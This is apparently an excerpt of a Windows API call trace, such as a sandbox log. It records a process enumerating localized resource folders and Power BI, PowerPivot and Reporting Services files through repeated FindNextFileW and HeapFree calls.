	[0071.904] FindNextFileW (in: hFindFile=0x5e0530, lpFindFileData=0x325ee10 | out: lpFindFileData=0x325ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6d2a978, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1341a2e5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1341a2e5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="eu", cAlternateFileName="")) returned 1
	[0071.905] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x432c228 | out: hHeap=0x4f0000) returned 1
	[0071.905] FindNextFileW (in: hFindFile=0x5e0530, lpFindFileData=0x325ee10 | out: lpFindFileData=0x325ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf18f9628, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x138defa8, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x138defa8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi", cAlternateFileName="")) returned 1
	[0071.907] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x432c228 | out: hHeap=0x4f0000) returned 1
	[0071.907] FindNextFileW (in: hFindFile=0x5e0530, lpFindFileData=0x325ee10 | out: lpFindFileData=0x325ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1ae94c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x13440553, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x13440553, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr", cAlternateFileName="")) returned 1
	[0071.909] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x432c228 | out: hHeap=0x4f0000) returned 1
	[0071.909] FindNextFileW (in: hFindFile=0x5e0530, lpFindFileData=0x325ee10 | out: lpFindFileData=0x325ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf9ac3a61, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x13aced2b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x13aced2b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="gl", cAlternateFileName="")) returned 1
	[0071.911] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x432c228 | out: hHeap=0x4f0000) returned 1
	[0071.911] FindNextFileW (in: hFindFile=0x5e0530, lpFindFileData=0x325ee10 | out: lpFindFileData=0x325ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4a98712, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x13a8299e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x13a8299e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="he", cAlternateFileName="")) returned 1
	[0071.912] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x432c228 | out: hHeap=0x4f0000) returned 1
	[0071.912] FindNextFileW (in: hFindFile=0x5e0530, lpFindFileData=0x325ee10 | out: lpFindFileData=0x325ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa806c3d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1428e945, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1428e945, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hi", cAlternateFileName="")) returned 1
	[0071.914] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x432c228 | out: hHeap=0x4f0000) returned 1
	[0071.914] FindNextFileW (in: hFindFile=0x5e0530, lpFindFileData=0x325ee10 | out: lpFindFileData=0x325ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf7beb2bc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x13b67741, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x13b67741, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr", cAlternateFileName="")) returned 1
	[0071.916] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x432c228 | out: hHeap=0x4f0000) returned 1
	[0071.916] FindNextFileW (in: hFindFile=0x5e0530, lpFindFileData=0x325ee10 | out: lpFindFileData=0x325ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6164f96, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x14648313, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x14648313, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu", cAlternateFileName="")) returned 1
	[0071.918] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x432c228 | out: hHeap=0x4f0000) returned 1
	[0071.918] FindNextFileW (in: hFindFile=0x5e0530, lpFindFileData=0x325ee10 | out: lpFindFileData=0x325ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf18f9628, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1434d390, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1434d390, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="id", cAlternateFileName="")) returned 1
	[0071.919] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x432c228 | out: hHeap=0x4f0000) returned 1
	[0071.920] FindNextFileW (in: hFindFile=0x5e0530, lpFindFileData=0x325ee10 | out: lpFindFileData=0x325ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf964b3dd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x14969496, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x14969496, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it", cAlternateFileName="")) returned 1
	[0071.921] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x432c228 | out: hHeap=0x4f0000) returned 1
	[0071.921] FindNextFileW (in: hFindFile=0x5e0530, lpFindFileData=0x325ee10 | out: lpFindFileData=0x325ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf15d84bd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x146e0bdc, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x146e0bdc, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja", cAlternateFileName="")) returned 1
	[0071.923] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x432c228 | out: hHeap=0x4f0000) returned 1
	[0071.923] FindNextFileW (in: hFindFile=0x5e0530, lpFindFileData=0x325ee10 | out: lpFindFileData=0x325ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfae6f174, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x14b330aa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x14b330aa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="kk", cAlternateFileName="")) returned 1
	[0071.925] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x432c228 | out: hHeap=0x4f0000) returned 1
	[0071.925] FindNextFileW (in: hFindFile=0x5e0530, lpFindFileData=0x325ee10 | out: lpFindFileData=0x325ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf17ee5c3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x14ac0994, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x14ac0994, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko", cAlternateFileName="")) returned 1
	[0071.927] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x432c228 | out: hHeap=0x4f0000) returned 1
	[0071.927] FindNextFileW (in: hFindFile=0x5e0530, lpFindFileData=0x325ee10 | out: lpFindFileData=0x325ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf7b529d9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x152a6704, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x152a6704, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lt", cAlternateFileName="")) returned 1
	[0071.928] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x432c228 | out: hHeap=0x4f0000) returned 1
	[0071.928] FindNextFileW (in: hFindFile=0x5e0530, lpFindFileData=0x325ee10 | out: lpFindFileData=0x325ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf035e09d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1525a179, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1525a179, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lv", cAlternateFileName="")) returned 1
	[0071.930] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x432c228 | out: hHeap=0x4f0000) returned 1
	[0071.930] FindNextFileW (in: hFindFile=0x5e0530, lpFindFileData=0x325ee10 | out: lpFindFileData=0x325ee10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf42b29f3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf42b29f3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf42d8c51, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x15f460, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerBI.Diagnostics.dll", cAlternateFileName="MICROS~1.DLL")) returned 1
	[0072.282] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x432c228 | out: hHeap=0x4f0000) returned 1
	[0072.282] FindNextFileW (in: hFindFile=0x5e0530, lpFindFileData=0x325ee10 | out: lpFindFileData=0x325ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x718b80, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x15a3fea8, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15a3fea8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl", cAlternateFileName="")) returned 1
	[0072.283] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x432c228 | out: hHeap=0x4f0000) returned 1
	[0072.283] FindNextFileW (in: hFindFile=0x5e0530, lpFindFileData=0x325ee10 | out: lpFindFileData=0x325ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf18f9628, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15b71118, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15b71118, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="no", cAlternateFileName="")) returned 1
	[0072.285] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x432c228 | out: hHeap=0x4f0000) returned 1
	[0072.285] FindNextFileW (in: hFindFile=0x5e0530, lpFindFileData=0x325ee10 | out: lpFindFileData=0x325ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf44c8b33, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15b24c93, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15b24c93, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl", cAlternateFileName="")) returned 1
	[0072.286] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x432c228 | out: hHeap=0x4f0000) returned 1
	[0072.286] FindNextFileW (in: hFindFile=0x5e0530, lpFindFileData=0x325ee10 | out: lpFindFileData=0x325ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff0bc27, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15bbd5ad, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15bbd5ad, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt", cAlternateFileName="")) returned 1
	[0072.288] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x432c228 | out: hHeap=0x4f0000) returned 1
	[0072.288] FindNextFileW (in: hFindFile=0x5e0530, lpFindFileData=0x325ee10 | out: lpFindFileData=0x325ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf475131d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15be380c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15be380c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-PT", cAlternateFileName="")) returned 1
	[0072.290] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x432c228 | out: hHeap=0x4f0000) returned 1
	[0072.290] FindNextFileW (in: hFindFile=0x5e0530, lpFindFileData=0x325ee10 | out: lpFindFileData=0x325ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6ac83cd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15d3adab, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15d3adab, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro", cAlternateFileName="")) returned 1
	[0072.292] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x432c228 | out: hHeap=0x4f0000) returned 1
	[0072.292] FindNextFileW (in: hFindFile=0x5e0530, lpFindFileData=0x325ee10 | out: lpFindFileData=0x325ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe00baf, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15d14b21, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15d14b21, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru", cAlternateFileName="")) returned 1
	[0072.293] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x432c228 | out: hHeap=0x4f0000) returned 1
	[0072.293] FindNextFileW (in: hFindFile=0x5e0530, lpFindFileData=0x325ee10 | out: lpFindFileData=0x325ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6c6bda4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15e92299, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15e92299, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk", cAlternateFileName="")) returned 1
	[0072.295] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x432c228 | out: hHeap=0x4f0000) returned 1
	[0072.295] FindNextFileW (in: hFindFile=0x5e0530, lpFindFileData=0x325ee10 | out: lpFindFileData=0x325ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1b359a5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15e45dad, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15e45dad, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl", cAlternateFileName="")) returned 1
	[0072.296] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x432c228 | out: hHeap=0x4f0000) returned 1
	[0072.296] FindNextFileW (in: hFindFile=0x5e0530, lpFindFileData=0x325ee10 | out: lpFindFileData=0x325ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1a2a905, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15f04999, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15f04999, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sr-cyrl", cAlternateFileName="")) returned 1
	[0072.298] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x432c228 | out: hHeap=0x4f0000) returned 1
	[0072.298] FindNextFileW (in: hFindFile=0x5e0530, lpFindFileData=0x325ee10 | out: lpFindFileData=0x325ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa879350, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x160a83ba, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x160a83ba, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sr-latn", cAlternateFileName="")) returned 1
	[0072.300] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x432c228 | out: hHeap=0x4f0000) returned 1
	[0072.300] FindNextFileW (in: hFindFile=0x5e0530, lpFindFileData=0x325ee10 | out: lpFindFileData=0x325ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf45f9db0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15ede724, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15ede724, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sr-Latn-CS", cAlternateFileName="SR-LAT~1")) returned 1
	[0072.302] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x432c228 | out: hHeap=0x4f0000) returned 1
	[0072.302] FindNextFileW (in: hFindFile=0x5e0530, lpFindFileData=0x325ee10 | out: lpFindFileData=0x325ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa8eba59, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16035c5a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16035c5a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv", cAlternateFileName="")) returned 1
	[0072.304] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x432c228 | out: hHeap=0x4f0000) returned 1
	[0072.304] FindNextFileW (in: hFindFile=0x5e0530, lpFindFileData=0x325ee10 | out: lpFindFileData=0x325ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1c66c57, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16166f59, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16166f59, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="th", cAlternateFileName="")) returned 1
	[0072.306] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x432c228 | out: hHeap=0x4f0000) returned 1
	[0072.306] FindNextFileW (in: hFindFile=0x5e0530, lpFindFileData=0x325ee10 | out: lpFindFileData=0x325ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1de43d5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16140cde, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16140cde, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr", cAlternateFileName="")) returned 1
	[0072.308] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x432c228 | out: hHeap=0x4f0000) returned 1
	[0072.308] FindNextFileW (in: hFindFile=0x5e0530, lpFindFileData=0x325ee10 | out: lpFindFileData=0x325ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf7b9ee02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x161d962a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x161d962a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="uk", cAlternateFileName="")) returned 1
	[0072.309] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x432c228 | out: hHeap=0x4f0000) returned 1
	[0072.309] FindNextFileW (in: hFindFile=0x5e0530, lpFindFileData=0x325ee10 | out: lpFindFileData=0x325ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf637b042, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x161d962a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x161d962a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vi", cAlternateFileName="")) returned 1
	[0072.311] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x432c228 | out: hHeap=0x4f0000) returned 1
	[0072.311] FindNextFileW (in: hFindFile=0x5e0530, lpFindFileData=0x325ee10 | out: lpFindFileData=0x325ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4c15e5f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x163ef7bf, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x163ef7bf, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-CHS", cAlternateFileName="")) returned 1
	[0073.212] FindNextFileW (in: hFindFile=0x5e0970, lpFindFileData=0x325eb94 | out: lpFindFileData=0x325eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x163ef7bf, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x163ef7bf, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x165b9401, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4e757, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PowerViewRes.zh-CHS.xap", cAlternateFileName="POWERV~1.XAP")) returned 1
	[0073.318] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x432c228 | out: hHeap=0x4f0000) returned 1
	[0073.319] FindNextFileW (in: hFindFile=0x5e0530, lpFindFileData=0x325ee10 | out: lpFindFileData=0x325ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf47e9c8f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x164159c7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x164159c7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-CHT", cAlternateFileName="")) returned 1
	[0073.321] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x432c228 | out: hHeap=0x4f0000) returned 1
	[0073.321] FindNextFileW (in: hFindFile=0x5e0530, lpFindFileData=0x325ee10 | out: lpFindFileData=0x325ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf47e9c8f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x164159c7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x164159c7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-CHT", cAlternateFileName="")) returned 0
	[0073.321] FindClose (in: hFindFile=0x5e0530 | out: hFindFile=0x5e0530) returned 1
	[0073.321] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x437d640 | out: hHeap=0x4f0000) returned 1
	[0073.322] FindNextFileW (in: hFindFile=0x5e0630, lpFindFileData=0x325f08c | out: lpFindFileData=0x325f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd68243, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16841bb6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16841bb6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PowerPivot Excel Add-in", cAlternateFileName="POWERP~1")) returned 1
	[0073.324] FindNextFileW (in: hFindFile=0x5e0570, lpFindFileData=0x325eb94 | out: lpFindFileData=0x325eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x56d17f1, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x56d17f1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x56d17f1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x15ac0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.ReportingServices.Diagnostics.resources.dll", cAlternateFileName="MI2EA0~1.DLL")) returned 1
	[0073.325] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x432c228 | out: hHeap=0x4f0000) returned 1
